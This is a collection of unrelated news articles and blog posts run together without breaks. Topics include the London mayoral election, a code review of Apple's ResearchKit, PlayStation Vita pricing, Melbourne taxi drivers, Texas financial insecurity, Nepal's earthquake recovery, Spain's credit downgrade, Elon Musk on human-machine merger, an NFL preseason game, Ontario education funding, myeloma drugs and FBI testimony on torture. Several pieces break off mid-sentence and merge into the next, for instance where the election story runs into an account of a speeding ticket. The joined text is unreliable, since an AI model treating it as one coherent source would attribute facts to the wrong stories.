Polls closed across the capital at 10pm yesterday and counting began around 8am today, along with the count for the London Assembly elections.
Political experts have called the result in Mr Khan's favour, although the final declaration has yet to happen.
That has been delayed tonight over what election officials described as "small discrepancies" they are now working to correct. The declaration may not now be made until midnight.
Follow the latest news and results on our live election blog here.
At shortly after 7.30pm, Sadiq Khan remained the front runner, with about 44 per cent of the vote, with almost all votes counted in the London constituencies.
Tory candidate Zac Goldsmith was in second place, with about 35 per cent, ahead of Sian Berry of the Greens, who is looking likely to secure just less than six per cent of the first preference votes.
Counts began this morning at Alexandra Palace, the Excel Centre and at the Olympia after voting closed last night.
The winner of the election had been expected to be announced between 5pm and 10pm tonight.
The 12 candidates will learn of their fate at City Hall before the final results are released to the general public.
Mr Khan will replace long-standing Mayor Boris Johnson who has served two terms from 2008.
The results of the London Assembly election, where 25 political representatives will be elected, will be announced after the new mayor has been elected.
It was a case of double celebration for Labour, as it took one of the constituency seats, Merton and Wandsworth, off the Tories.
In an embarrassing mix-up yesterday, thousands of people were turned away from polling stations in Barnet after problems with their electoral registration lists.
As a result, the Conservative party may challenge the results if their candidate, Zac Goldsmith, loses by a tight margin.
The picture across the rest of the countryIn May of last year, when William Barboza (pictured) was driving through the quaint town of Liberty, N.Y., a state trooper pulled him over for speeding. Three months later, he mailed in his summons along with a payment, punctuating the ticket with a few choice curse words and crossing out the town’s name and relabeling it “TYRANNY.” Needless to say, his citation payment was rejected, and he was summoned to appear in court. As Barboza stood before a judge, he was not only chastised for having a potty mouth, but he was also arrested and charged with aggravated harassment, handcuffed to a bench, and forced to pay a $200 |
’s a language feature in Swift and C++ has a whole variety of cast operators built into the language. I’d love to see actual language support in Objective-C as well.
Dynamic Type
Apple added Dynamic Type in iOS 7 to give the user more control about how large text in apps should be. We’re now less than two months away from iOS 9 yet many apps still ignore this, and almost no app properly reacts to changing this setting at runtime. The system sends a UIContentSizeCategoryDidChangeNotification, however there’s no easy way to re-build the UI with a different font. Apple’s way of solving this is subclassing common view classes like UILabel with their ORKLabel, which fetches the new font and then invalidates its intrinsic content size to trigger a new Auto Layout pass. Similar patters are in ORKAnswerTextField/View, ORKTableViewCell and ORKTextButton. This pattern however makes it hard to set custom font sizes. One could extend these classes to accept a font text style like UIFontTextStyleHeadline to make this more flexible. Apple instead uses subclasses like ORKTapCountLabel to customize the font size.
Radar Workarounds
In Apple’s initial release, there are two radars referenced. 19528969 to work around an Auto Layout issue and 19792197 to work around an issue with tinting animated images. Of course there are no detailed entries on OpenRadar but it’s easy to read and at least the workarounds are marked as such. It will be interesting if these radars are a priority on being fixed…
Interface Builder
All views are created in code. Apple uses a Storyboard for the example catalog, but that’s it. Apple uses the standard pattern of overriding viewDidLoad to build UI in combination with Auto Layout and the visual format language, whenever possible.
Creating PDF from HTML
This was particularly interesting, since my main job is working on PSPDFKit - a PDF framework for iOS and Android.. In there we have code that allows converting HTML to PDF via (ab)using UIWebView and the printing subsystem. This is marked as experimental as we were under the impression that it’s not intended usage and more likely works by accident. However Apple’s now using the exact same technique (ORKHTMLPDFWriter) in ResearchKit, so this seems to be an acceptable way of converting HTML documents.
Nullability
It’s really great to see that every class is fully annotated with NS_ASSUME_NONNULL_BEGIN/END. This makes usage much nicer, especially with Swift, but also is great documentation in general. Time to annotate your classes as well!
Swift
Since we’re at Swift… ResearchKit is 100% Objective-C. And I’m sure this was started when Swift was already post 1.0 so time is not the reason. Then again, the example catalog is completely Swift. Objective-C is a great choice for frameworks as you can decide selectively which methods should be public and which ones private - with Swift, this is currently not yet possible.
Update: Access control actually is in Swift since 1.0, so this isn’t the reason they went with Objective-C. Maybe because of the still immature tooling? (and SourceKit crashes)
Internal/Private
There’s no clear pattern when Apple uses _Internal and when _Private for private class extensions, however it’s great to see that they do try to keep the API small and only expose the necessary parts.
Web Views
Large text like the consent review language is displayed by view controllers that embed web views. This is all based on UIWebView - so far no WKWebView is being used here. For regular text, that’s perfectly ok and probably even preferred since it’s a lot simpler to use and doesn’t spin up a separate process. On the other hand, Apple consistently uses UIAlertController - there are no references to the legacy UIAlertView / UIActionSheet APIs anymore.
NSSecureCoding
It’s great to see Apple adopting secure coding everywhere. They’re using a set of macros to make the code less repetitive but overall there’s nothing special about it.
Accessibility
There’s a bunch of interesting details on how Apple approaches accessibility support here. Notable is the ORKAccessibilityStringForVariables macro which allows string concatenation, ignoring empty or nil strings. (sample usage)
Version Checks
ResearchKit contains a few checks for iOS 8.2. Why? Because HealthKit really didn’t work before that release. However instead of checking for the foundation version (fast) or using the new isOperatingSystemAtLeastVersion method on NSProcessInfo, they’re converting the version to float and then compare - the worst way of version checking. I went ahead and wrote a pull request to fix that. We’ll see if that gets merged :)
Tests!
Yes, there are unit tests. They don’t use a Host Application, so they’re all purely model-tests. I’d love to see view/integration tests as well, but it’s a start.
Tinted Animations
If you’re wondering how Apple pulled of these nifty animations and were expecting some advanced path animation code, I have to disappoint - it’s just a set of videos. However, there’s a lot more to it. They are coordinated by ORKVisualConsentTransitionAnimator which is powered by ORKEAGLMoviePlayerView - complete with custom shaders. This is a lot of code to tint a video on the fly!
Final Notes
Overall, ResearchKit is very well done. You could critizise some naming inconsistencies, indentation or spacing, but the overall structure is good, and I’m very excited how much better it’ll get once Apple starts merging the onslaught of Pull Requests.. Writing a framework is certainly a challenge - many shortcuts one can do with writing Apps don’t apply. Follow me on Twitter for even more updates. Oh, and if you would love to work on frameworks full-time, we’re hiring.Dan Pearson European Editor Wednesday 6th June 2012 Share this article Share
Companies in this article Sony
Shuhei Yoshida has put to bed any rumours of a Vita price cut, reiterating that Sony is instead focused on seeing the system reach its potential first.
Speaking to Eurogamer at E3, Yoshida was adamant that Vita offers a good value for money proposition at its current pricing.
"From the value for money standpoint, we think we have a good price for what the system is," Yoshida said, after saying that 2012 was "absolutely" too early for a Vita price cut. "Our priority is to achieve the potential through more games and services.
"Of course people who are looking to buy are also talking about the price of PS Vita, especially when they have to buy a memory card as well. That's something we have to spend time to cost reduce and address in the future. But now, our laser focus is to increase the content and to realise the potential of the system."
Vita's current pricing has resulted in relatively low sales worldwide compared to previous hardware launches, with 1.8 million units cited as in international figure as of the end of March.
Sony has predicted a combined figure of 16 million sales for Vita and PSP by the end of the year, but with the PSP still regularly outselling its newer cousin, in Japan at least, Vita might not make up the majority of that figure.The canteen is a chance to grab some food and talk to friends. Credit:Jesse Marlow I still say, "Next left. Thanks, mate." My husband loves talking to taxi drivers. When he opens the passenger door, he does not see an irritable Sikh at the wheel. He sees Plato in a turban. I, on the other hand, just want to get home, preferably without discussing Tony Abbott. Then I had an epiphany. It involved Julia Gillard at the Byron Bay Writers' Festival. She was asked about whether she had regrets about her time in office. She said, "I regret that on a daily basis, when faced with a choice between the urgent and the important, I opted too often for the former."
The taxi holding area at Melbourne Airport mills with drivers from every country. Credit:Jesse Marlow Every woman in the audience sighed with recognition. Julia had perfectly articulated the malaise of modern life. Woman as list-maker. Woman as task-oriented, diary slave. Servant to email and Google calendar. I have made 13 trips to and from the airport in the past three months. I realise now that the Tullamarine is a highway of lost opportunities, of words left unsaid and roses un-smelled. "We're just trying to make an honest living": Welcome to Taxiland. Credit:Jesse Marlow I decide that the time has come to open my own heart to taxi drivers. My challenge is to find a place where they gather en masse. A place where they have plenty of time to talk.
It is shortly after 8am, and I am in the taxi queue outside Flinders Street Station. A yellow cab sweeps in. I get in the front. "Take me to the airport. But I don't want to go to the terminal. I want to go to where all the taxis go." A slight frown flickers across my taxi driver's face. "You don't want airport?"
"Yes. Airport. I want to go to the big parking place where the taxis wait." "Is this legal?" Cough. (Not sure.) When we arrive at the airport, the taxi pulls in to the Melrose Taxi holding bay. I had imagined the taxis just rolled forward in some slow-moving queue off the freeway, like a long yellow python. But they don't. They wait here, in the vast backblocks of the airport. Welcome to Taxiland. Acres and acres of cars. Except here, every single car is yellow. There are shiny yellow roofs, wearing their white plastic "TAXI" hats, all the way to the horizon. To the edge of the planet.
My driver gets out, to stretch his legs and buy a coffee at the canteen. He has parked in Row 6. He tells me that at this busy hour of the morning, it will be about 30 minutes before his row is allowed to move. In the afternoon, when things are quieter, it could take up to two hours. Before leaving his vehicle, the driver must memorise the number plate of the taxi in front. That's the car he will follow when the time comes to move off. This is Melbourne's own little Constantinople, milling with men from every country on earth. Right in front of the canteen, two men are sitting on boxes at a table where they are playing a game of backgammon. Others are hunched over newspapers. As I get talking, I discover that most drivers like it here. They welcome the opportunity to get out from their cars. Have a chat. Grab some food. Maybe talk to friends. I watch a chubby Indian with a waxed moustache gesturing dramatically, speaking in some language of the subcontinent. Then I see that he has pink ear buds: he's talking on a mobile phone. An old-style Aussie driver next to me says: "Talking to his village. They never leave India." A Maltese driver joins me. He's keen to talk.
He tells me how he has waited two hours to get to the ranks, and when he finally got his fare, the woman directed him to the long-term car park. He suggested she take the shuttle bus which would take precisely three minutes to deliver her to her car. She refused. He earned just $7.50. Now he is back at the end of the queue. Another 40 minutes! We are just warming up when a woman appears from nowhere. She strides towards us and practically orders the Maltese guy to stop talking. In fact, she barks, no one here will talk to me for love or money. Why should they? The media is hell-bent on representing taxi drivers in the worst possible light. "You people make every driver out to be a thief or a thug. We can't win a trick. It's not fair. What is it with you lot? We're just trying to make an honest living. Bloody hell." It's like a squall has blown up. Suddenly everyone is narky. They're all angry about Uber, the app-based driver service (my fault). They're angry about journalists and newspapers (also my fault).
"You make us out to be paedophiles," says a man from eastern Europe. "You say that the cars are dirty!" He points to the massive parking lot where every taxi is gleaming in the morning sun. "You show me a dirty cab." A Greek chimes in, "You make out that we don't even know where the GPO is." I could point out that I had exactly that experience, recently. But I don't want to get decked. Uber is the only subject on the table. Most of the drivers are furious. For them the taxi business is finished. The government is having a bob each way. It's not a level playing field. "What will you do?" I ask one young bloke with his hands thrust in his pockets. "Paint my car black and put a big 'U' on the bonnet."
I decide to get a coffee. Inside the canteen, a gentle Iraqi guy tells me about his escape from his country. A homesick Iranian wonders if the world will ever return to sanity – whether his once-sophisticated country will re-emergefrom the madness. Rows 21, 22, 23 are peeling off. The procession of cars drive in a big arc, like a choreographed dance for the opening ceremony of the Olympic Games. I sit on the step on the edge of the cafeteria forecourt, next to a man who is rubbing a Scratchie.
"What will you do if you win a million bucks?" I ask him. "A million? I tell you what. I give half-million to Children's Hospital." "The other half?" He counts the units off on his fingers. "$100,000 – pay off my mortgage!
"Give to my four children: $100,000 itch! "And then, Monday morning, come back to work!" "Back to the taxi?" "Of course," he says. "Bess job in the world. Own boss. No worries." "At least take a holiday," I say.
"A holiday!" He is incredulous. "Why Aussies always want holiday? You know what? Twenty year ago, in my home, in Iraq, the government shoot my father. They shoot my brother. Six of my cousins – all shoot dead! I escape to Syria and then come here. "Every day I praise Allah for this Australia. How can I take holiday from this? This is my holiday." He pronounces it "Holy day". As if this oh-so secular country is the most sacred place on earth. The cafe manager is getting agitato. I am a trouble maker. I have to leave. Now. I leap into the next cab, we drive out of the holding area and directly onto the Tullamarine. My driver is an African. A Somali. His name is Anwar. "My name means light," he says.
"What brings you all this way, to Melbourne?" I ask. "Somalia – it is gone," he says. "Just war and killing." We drive in silence. This man who is taking me home in his taxi is not able to go home himself. I turn to Anwar. "Do you like it here?"
He smiles at me, the biggest smile. "I am lucky," he says. "I have a wife. I have two children who grow up to be Aussie." "Does that make you sad? Wouldn't you like your children to grow up Somali?" "No," he says. "Somalia is hell. Here children have the promise of life. I have come to Paradise." As we hurtle towards the skyscrapers of Melbourne, the Eureka Tower never looked so glorious.Half of Texas households are one crisis away from poverty, according to a new report that ranks the state 37th in residents' overall financial security.
The report released Thursday by the Corporation for Enterprise Development, a Washington, D.C.-based nonprofit that seeks to create economic opportunity, defines “liquid-asset poor” as lacking enough savings to pay for three months of basic expenses in case of a crisis such as a job loss.
In Texas, 49.8 percent of households are liquid-asset poor, compared to 43.5 percent in the nation as a whole, the study says. Texas ranks 30th in the country for liquid-asset poverty.
“Despite steady job growth and low unemployment rates, many Texas residents are still struggling with persistent financial insecurity and have difficulty moving up the economic ladder,” said Tim Morstad, manager of advocacy and outreach for AARP Texas.
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Many middle-class households are among those considered liquid-asset poor, according to the report, 2014 Assets & Opportunity Scorecard. A majority of Texans who live below the federal poverty line of $23,550 for a family of four are considered financially insecure, as are nearly a third of households earning between $54,049 and $90,468 a year.
The report also ranks Texas 42nd for its percentage of low-wage jobs: 27.8 percent.
Bill Peacock, vice president of research at the Texas Public Policy Foundation, a conservative think tank, said that the report fails to take into account the fact that people who can’t find jobs in other states are able to find jobs in Texas.
“Texas gives people the chance to get out of poverty because they can work here,” Peacock said. “The report misses a lot when it comes to the welfare of Texans.”
Texas Tribune donors or members may be quoted or mentioned in our stories, or may be the subject of them. For a complete list of contributors, click here.Mr Ben Reese, AusAID representative learns first-hand the processes of reconstructing a school building in an effort to make it more earthquake proof. Jana Bikash Secondary School, Matatirtha, AusAID Kathmandu, Nepal. Photo by Jim Holmes for AusAID. Credit@Department of Foreign Affairs.
Thousands of schools have begun to reopen in Nepal following April’s 7.8 magnitude earthquake, with many of the schools having been rebuilt on a temporary basis. The initial aim is for lessons to focus on group activities to help children move beyond the recent events. A month on from the earthquake the United Nations has called for the world to provide more food and shelter for those most affected in Nepal. Equally, the Nepalese government has appealed for an increase in direct aid funding to the country.
The earthquake has led to the passing of more than 8,000 people and has affected many buildings within Nepal. According to the United Nations’ Nepal Situation Report, between the 25 and 29 May 103’686 cases were treated with 31’707 patients being admitted to hospitals. Equally, heavy equipment has begun to be pre-positioned in areas where landslides might be expected. Some funding has also been made available to gain agricultural inputs for the coming planting season. Furthermore, numerous organisations and countries have provided aid in Nepal by sending supplies or personnel. According to the Asian Development Bank, the Nepalese government is also planning to open 15,000 temporary learning centres throughout the country.
According to UNICEF’s representative in Nepal, Tomoo Hozumi, “going to school also allows children to regain a vital sense of routine that can help them come to terms with their experiences.” The last 25 years saw a significant increase in the number of children enrolled in primary school education from 64 per cent in in 1990 to more than 95% today, according to UNICEF. This increase in educational provision within the country is seen by some as an important trend to maintain following on from the earthquake. The reopening of schools across Nepal aims to hopefully provide a method back into education for children whilst also giving therapeutic benefits in the form of counselling regarding events they may have experienced.
The United Nations requested US$423 million and, as of 29 May 2015, has received 24% of this. Numerous aid organisations have reportedly been active in Nepal since the earthquake, providing important relief and support to those affected by the recent events. The movement to providing basic services to those within the country might highlight the changing focus of aid within Nepal. Equally, with technological advancements, the provision of aid is becoming swifter and increasingly effective although countries such as Nepal do provide logistical challenges due to their terrain.
Events such as April’s earthquake could possibly lead to improved responses to similar events and also increase effectiveness in creating infrastructure in Nepal that is more secure. For example, following the 2004 Indian Ocean Tsunami, the Indian Ocean Tsunami warning system was established, which greatly improved the awareness and response times for future events in the same area according to UNESCO. The recent events in Nepal might have a comparable outcome, with possible changes in the way in which the country is prepared for earthquakes. Furthermore, redevelopment may actually lead to improved infrastructure and buildings more capable to withstand earthquakes.
The incident of the Nepal earthquake may improve the way in which aid organisations respond to similar events. For example, initially a challenge for the aid groups was how to facilitate such large amounts of aid and supplies with Nepal’s modest airport and infrastructure. Whilst a quarter of the UN aid target has been met there is a continued push for the rest of the target to be achieved. The reopening of schools in Nepal may be indicative of the beginning of a movement towards normality. Although Nepal may also experience larger, varied changes that may better prepare it for the future.
How may this improve the international response to similar events?Moody's has cut Spain's credit rating by another notch, escalating the ongoing debt crisis in the eurozone.
Spain's rating was downgraded to Aa2, Moody's third highest rating, as the agency warned that the country had under-estimated the cost of rescuing its banking sector. The move came as borrowing costs continued to rise for weaker members of the eurozone, raising fears that further rescue packages will be needed.
"Although Moody's acknowledges that the government's recently announced acceleration of efforts to restructure the cajas [Spain's savings banks] is likely to strengthen the country's banking landscape, the rating agency believes there is a meaningful risk that the eventual cost of the recapitalisation," said Moody's. It now believes the rescue package will cost between €40bn and €50bn (£34.4bn and £42.8bn), more than twice its own earlier estimate of €17bn.
"The heat has been turned up on the bubbling tensions in the Eurozone," said Jane Foley, senior currency strategist at Rabobank.
The downgrade knocked around half a cent off the euro, which fell to a one-week low of $1.3804. Stock markets also suffered losses, with the FTSE 100 losing 63 points to 5873.
Moody's had threatened three months ago that it might downgrade Spain, but the decision was swiftly criticised by Madrid. The Spanish government pointed out that it is scheduled to release new data on its banking recapitalisation plans on Thursday evening.
Under this plan, Spain is expected to partially nationalise the cajas, force them to become conventional banks and then float them on the stock market.
Spanish treasury director Soledad Núñez also accused Moody's of overlooking its efforts to cut its deficit, and its reform of public sector pensions.
Foley warned that Europe's current rescue fund would be almost wiped out if Spain and Portugal required a bailout.
"It remains essential that the European Financial Stability Facility is bolstered to reassure markets that there is enough ammunition to protect EMU against all eventualities," Foley said.
The cost of insuring government debt issues by Spain, Greece and Portugal all widened following Moody's move, according to Markit.
"The rating agencies have often been on the sidelines during the sovereign debt crisis. But this week they have shown that they can still move markets. Greece received a multi-notch downgrade from Moody's on Monday and now Spain has been cut one notch to Aa2 by the same agency," said Gavan Nolan, Markit's director of credit research.
"The sovereign market is already racked by uncertainty ahead of the EU summit tomorrow, and the downgrades raise the stakes for the EU. Greece is now at record wide spreads and the other peripherals are all widening significantly," Nolan added.Technically Incorrect offers a slightly twisted take on the tech that's taken over our lives.
Enlarge Image Drew Angerer, Getty Images
Take a longer look at your kids tonight and marvel at what they'll become.
Because what they'll become will likely be a hybrid of flesh and metal.
I deduce this, taking only a few liberties, from the words of famed seer Elon Musk. As CNBC reported, the Tesla and SpaceX CEO spoke on Monday at the World Government Summit in Dubai.
In a wide-ranging chat that covered life, the universe and even the tunnels he's interested in building below major cities, he told the audience: "Over time I think we will probably see a closer merger of biological intelligence and digital intelligence."
That's a more academic way to say: "Hey mom, your kids will grow up to be half-robots."
Musk explained why, to him, this was inevitable: "It's mostly about the bandwidth, the speed of the connection between your brain and the digital version of yourself, particularly output."
No, your digital version of yourself won't be just your selfies and your Facebook updates. You'll start to become one with the technology that will increasingly take on the burden of organizing society.
Technology demands speed. Humans can't keep up. So we have to implant technology into humans. That way, the machines will be happy because the humans will be machines.
This isn't exactly a new idea. It's been peddled for some time by, for example, Google's director of engineering Ray Kurzweil. He believes that, once chips are implanted in human brains, we'll be "godlike."
Well, who's never fancied being a deity, at least for day?
Musk admitted that he's tortured by the sheer notion of life's meaning in the future. He said he finds it more exciting to think he might die on Mars, rather than boring old Earth. He added that the notion of a "symbiosis" between man and machine ought not to sound so strange.
"To some extent, we are already a cyborg," he said. We already use computers and phones and behave as if we're somewhat attached to them, even after death. "If somebody dies, their digital ghost is still around," he said.
Musk admitted, though, that the current developments in AI will mean immediate societal upheaval. Speaking of self-driving technology, for example, he said that driving currently employs many people, "so we need to figure out new roles for what do those people do, but it will be very disruptive and very quick."
What might those new roles be? There may be no new roles at all. Musk has already floated the idea of a universal basic income for those who are cast aside by technology's rapid progress. Will this cause many humans to be merely the paid idle? Musk didn't immediately respond to a request for comment.
The Tesla CEO understands the dangers of an AI that is simply smarter and more powerful than humans. He's one of the financial contributors to OpenAI, a research company that's trying to ensure that we always stay in control of our fate.
But if we become these Toyota Priuses of human-robotic circuitry, what will be left of our (human) selves?
Won't we choose efficiency over feelings, productivity over joy and HAL over Prince Harry?
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Technically Incorrect: Bringing you a fresh and irreverent take on tech.DENVER -- That's the Peyton Manning the Denver Broncos and their fans have been waiting all summer to see. Magnificent. A machine. On the money. And no longer just a memory.
Manning was close to perfect in his final regular-season tuneup Sunday, throwing his first two touchdown passes for the Broncos in a 29-24 loss to the San Francisco 49ers.
In less than a quarter of work, Manning completed 10 of 12 passes for 122 yards, including TD tosses of 10 and 5 yards to Eric Decker, and the only two misses were a dropped pass by Joel Dreessen and an errant throw to Brandon Stokley, who was held on the play but didn't draw the flag.
After managing one TD to go with four turnovers in his first seven possessions this preseason, Manning drove the Broncos (1-2) to scores on all three of his series, then put on his visor with 46 seconds left in the first quarter after staking Denver to a 17-0 lead.
"I thought we did some good things today," Manning said. "We moved the ball pretty well and we got two touchdowns. It would have been nice to get three, had to settle to for a field goal. I thought the running game was good. Willis (McGahee) made some nice runs, had some nice holes by the offensive line, the receivers made some nice plays, as well."
The Broncos finally showed more than just a glimpse of the offensive firepower they can have with the four-time MVP under center.
"I think it was nice just to start fast and finish off some drives and put some points on the board and play some good football," Stokley said. "I think that was more important than him throwing the first touchdown pass."
The Broncos mixed up their looks, throwing in some no-huddle with four-wide receiver sets, using fullback Chris Gronkowski at the point of attack and sending tailback Lance Ball out wide to run routes like a receiver.
"That's what this preseason is for. You want to win the game but you want to get a look at different players," Manning said. "No matter what grouping we were in we showed we could move the ball."
Alex Smith threw a 49-yard TD pass and David Akers kicked five field goals for the Niners (2-1), who outscored the Broncos' backups 19-0 in the second half but lost wide receiver Ted Ginn Jr. to an ankle injury early in the second half.
For the second straight week, the Broncos' backups were awful. They've now been outscored 40-0 after halftime in the last two games.
Denver's first drive stalled when the replacement officials failed to whistle cornerback Carlos Rogers for a blatant hold on a third-down pass to Stokley, and the Broncos settled for Matt Prater's 53-yard field goal.
Manning was money after that.
He completed all six of his passes for 83 yards on a long drive that ended with his first touchdown throw in orange and blue, a 10-yard strike to Decker, who beat Rogers across the middle. The highlight of drive was a 38-yard pass to Ball, who beat linebacker Larry Grant.
Ball, though, bruised his ribs on the play and didn't return. He said afterward he was fine.
So was Manning, who was blasted by linebacker Parys Haralson in the chest right as he released his longest pass of the preseason. After Ball came down with it, Manning bounced right up, raced downfield, lined up in the no-huddle and hit running back Willis McGahee for 14 yards to the San Francisco 12.
It was the second time Manning, who missed all of last season with a neck injury that required four operations, had been hit hard in the preseason, and both times shook off the cobwebs and responded with a big pass for the first down.When Don Drummond released his report on Ontario's funding of public services last month, a hallelujah chorus went up from provincial and national media. At last someone had strong ideas about controlling government debts and deficits.
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As a retired college instructor, I paid most attention to Drummond's views on post-secondary education (PSE). Now that B.C.'s budget is in, I can see a pattern. Drummond recommends a 1.5 per cent cap on post-secondary spending; the B.C. Liberals are trimming that item by about one per cent. Even as austerity is losing its charm in Europe and the U.S., politicians are taking it up in Canada like the latest fashion.
To his credit, Drummond is a clear, forceful writer. But that just exposes his limits as analyst of the real role of PSE in Canadian society. An economist, he starts his chapter on PSE by assuming that its only purpose is economic:
"In this increasingly global marketplace, post-secondary education (PSE) remains a vital asset for Ontario, as over two-thirds of all new jobs in the province are expected to require PSE."
Drummond doesn't say who expects this requirement, or what he means by "new jobs." High-tech? Fast food? Replacing retirees? But PSE to him is clearly "students' preparation for the workplace," with no airy-fairy blather about intellectual growth or scholarship.
I'm very familiar with this attitude, because I spent 41 years preparing my own students for the workplace, right down to writing resumes and preparing for job interviews. It was great fun, and I loved it. But for the vast majority of my students, it was an expensive waste of time.
Terrifying my students
We now take PSE for granted, as just one of those steps in life that almost everyone takes. And God help those who don't take it; I used to terrify my students with StatsCan data on the incomes of those with just a high school education.
But half a century ago, most people thought no more about going to college or university than they thought about becoming professional hockey players or concert pianists. It was fun to daydream about, but reality was a pretty good job in the mills or on the fishing boats. And you didn't even have to finish high school to get it.
In B.C., that began to change in the 1960s. The W.A.C. Bennett Socreds built Simon Fraser, and BCIT, upgraded the University of Victoria, and adopted the recommendations of the 1962 Macdonald Report to create a system of community colleges. The Barrett New Democrats expanded the colleges dramatically in the early 1970s.
That was just about when the postwar golden age was drawing to a close. Jobs were getting scarce, and employers increasingly demanded more than just Grade 12 graduation. We in the colleges learned that recessions were mixed blessings for us: Unemployed adults (especially wives and single mothers) enrolled to improve their employability. But recessions also meant austerity budgets, with more students in every classroom.
A subsidy for employers
Probably without meaning to, governments turned PSE from a benefit to young people into a multi-billion-dollar subsidy for employers. Rather than train their own workers, employers expected us to do it. And rather than train young scholars, we gladly did as were told.
This was not out of our affection for B.C. capitalism. We did it because it meant work for us.
Like any bureaucratic organization, post-secondary is only indirectly concerned with its ostensible purpose. Its overriding goal is to create more work for its members. A program that enrolls more students gets more money and hires more teachers. A program that loses students is doomed. Its faculty and staff risk losing their jobs, or bumping into another program -- taking others' jobs.
This expand-or-die attitude is ingrained in the culture of colleges and universities, and it has flourished for over half a century -- at least since the post-Sputnik boost to U.S. education, which Canada picked up on a few years later. B.C. governments since the restraint era of the 1980s have increasingly driven PSE to deliver more grads at less cost. (Drummond is also a fan of "efficiency.")
This trend was easy to encourage as long as the 18-to-24 cohort kept growing. While they rarely discussed it openly, most Canadians (and Americans) found their economic security growing precarious. Mom had to go back to work to help pay the bills. Worse yet, middle-class educated families faced the prospect that the kids would do less well than their parents. This was the first omen of today's intense income inequality.
Marketing education like condos
Hence the relentless push into PSE, especially job-focused PSE of the kind that Drummond advocates. People majoring in art history or anthropology were scorned, at least until they got smart and re-enrolled for marketable skills. And as Drummond notes, students and their families may scream about rising tuition, but they still pay.
But it's never enough to sustain the vast superstructure of expanding colleges and universities, which market themselves like hot new Vancouver condo developments. Like condos, they promote lifestyle at least as much as learning. Price is no object when students will mortgage themselves. And like condos, PSE is eager to sell itself to overseas buyers. Foreign students, after all, pay the full costs of their education, creating a cash flow that also supports local students.
Attracting that foreign market is one reason why the Campbell government turned a lot of our community colleges into "teaching universities" in 2008: foreign students, as driven as everyone else by the need to get a good job after school, want to list university education on their resumes.
Demographically, this is simply unsustainable. The community colleges were first designed to take the pressure off UBC. Now UBC and the colleges compete for warm 18-year-old bodies. As the 18-to-24 cohort dwindles, the competition will turn cutthroat.
Meanwhile, everyone is caught up in an extended paper chase: in tourism, for example, a two-year certificate was once enough. Then tourism students started enrolling in bachelor's programs, and now master's programs are available. This expands the cohort to the 30-somethings and gives a new meaning to "lifelong learning."
Drummond hints at "differentiation" as a solution for Ontario, making a clearer distinction between academic university programs and job training in other PSE institutions. But B.C. could go much further, and perhaps set a trend for North America.
Raising the bar, lowering the cost
All that's needed is to raise the bar for PSE and employers alike. Capilano University, for example, requires a high-school GPA of just 60 per cent. UBC wants 70 per cent, though some programs are more demanding. The University of Northern British Columbia requires a GPA of 65-75 per cent. SFU wants 80 to 90 per cent.
Suppose we set the admission GPA at 95 for research universities. The same for teacher training programs, making them more like Finland. Set the GPA at 90 for "teaching universities" and colleges. No GPA, no admission.
Meanwhile, tell employers to start training their own people. If need be, provide a temporary subsidy to encourage them to recruit workers straight out of high school or after dropping out of post-secondary.
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it's just a little pill."
Pomalyst is the latest of a half-dozen myeloma drugs developed in the decade or so since Wright got diagnosed. Another, called Kyprolis, won FDA approval last summer.
Like many so-called "targeted" cancer therapies coming out these days, the new drugs are enormously expensive. Pomalyst will cost about $10,450 a month, or more than $125,000 a year.
Dr. Brian Durie of the International Myeloma Foundation says the availability of these new drugs has been transformative.
"It really has changed the whole landscape for both the doctor and the patient," he says. "Ten or 15 years ago, it was very depressing to see a new myeloma patient because you knew that the life was potentially short and it was difficult to be overly optimistic about what might transpire."
Wright is among the 20 to 30 percent of patients who have a less aggressive type of myeloma. But Durie says virtually all patients are benefiting from the new treatment options.
"We can say that 95 to 98 percent of the time we can pretty much guarantee we have a treatment that works — that the patient will go into a remission," Durie says.
That's pretty remarkable. But it's not a cure. Eventually the first drug regimen — whatever it is — stops working and the cancer comes back.
But researchers think they're on the verge of blocking myeloma's return for good.
"We're close, close, close," says Dr. Ken Anderson of the Dana-Farber Cancer Institute in Boston. "We're soon really going to change the natural history [of myeloma] in a major way."
Enlarge this image toggle caption Ariana Lindquist for NPR Ariana Lindquist for NPR
That's doctor-speak for "cure." Until specialists achieve that cure, they have an expanding bag of tricks to keep the cancer at bay.
New drug combinations and more novel drugs are coming along. Durie notes that scientists presented more than 700 papers on myeloma at December's American Society of Hematology meeting.
In addition to the new medicines, many patients get stem-cell transplants in an attempt to obliterate nearly all the myeloma cells. But Anderson is leading an international study to determine whether the new drug regimens are so good that risky transplants aren't needed any more.
"If somebody comes and sees us in the clinic," Anderson says, "you can look them in the eye and say, 'You know, it's highly likely you're going to live a decade or more. And frankly, with the maintenance therapy, it could be quite a lot longer.' "
Marathoner Don Wright has his own definition of a cure.
"The cure for myeloma," he says, "is to hang on long enough to die of something else. And that is precisely my hope — and my plan, actually."
You might say he's in it for the long run.FBI Director Robert Mueller on Wednesday recalled warning the Justice Department and the Pentagon that some U.S. interrogation methods used against terrorists might be inappropriate, if not illegal.
Mueller's comments came under pointed questioning by House Democrats demanding to know if the Federal Bureau of Investigation tried to stop interrogations in 2002 that critics define as torture.
Mueller said the FBI does not use coercive techniques when questioning suspects or witnesses, and he reportedly pulled his agents out of CIA or military interrogations several years ago to protect them from legal consequences.
FBI protocol "wouldn't engage in torture," said Rep. Stephen Cohen, a Democrat. "But if you find out that other agencies may engage in torture, that you believe is illegal - does your protocol include informing those agencies that you believe their actions are illegal?"
"Yes," Mueller answered.
"Who did you inform?" Cohen asked.
"At points in time, we have reached out to DoD, DoJ, in terms of activity that we were concerned might not be appropriate, let me put it that way," Mueller said. DoD refers to the Department of Defense and DoJ to the Department of Justice.
Mueller said some of the FBI's concerns dated back to 2002, when top al Qaeda detainees were waterboarded by CIA interrogators. Waterboarding involves strapping a person down and pouring water over his or her cloth-covered face to create the sensation of drowning. Critics call it a form of torture.
Asked how the Justice Department and Pentagon responded to the FBI's advice, Mueller declined to discuss it publicly, citing concerns about releasing classified information. He also referred to the Justice Department's legal guidance at the time that waterboarding and other harsh interrogation methods were legal as long as they did not result in organ failure or death.
That guidance, contained in a series of memos by the department's Office of legal Counsel, since has been rescinded.
"If you could give us a response as to which agencies did not listen to you, Director, and engaged in torture, I think that would be very important for this committee to know," Cohen said. "If there's departments - of Defense and Justice, or CIA - that don't listen to the director of the FBI."
The brief exchange came during a House Judiciary Committee hearing. It highlighted Congress' interest in whether the Bush administration violated international laws against torture when allowing waterboarding against terror suspects in the years following the Sept. 11, 2001, terrorist attacks against the United States.
The Justice Department is investigating internally whether its attorneys crossed a line in authorizing the tactics. Both the CIA and the Pentagon banned personnel from using waterboarding in 2006.
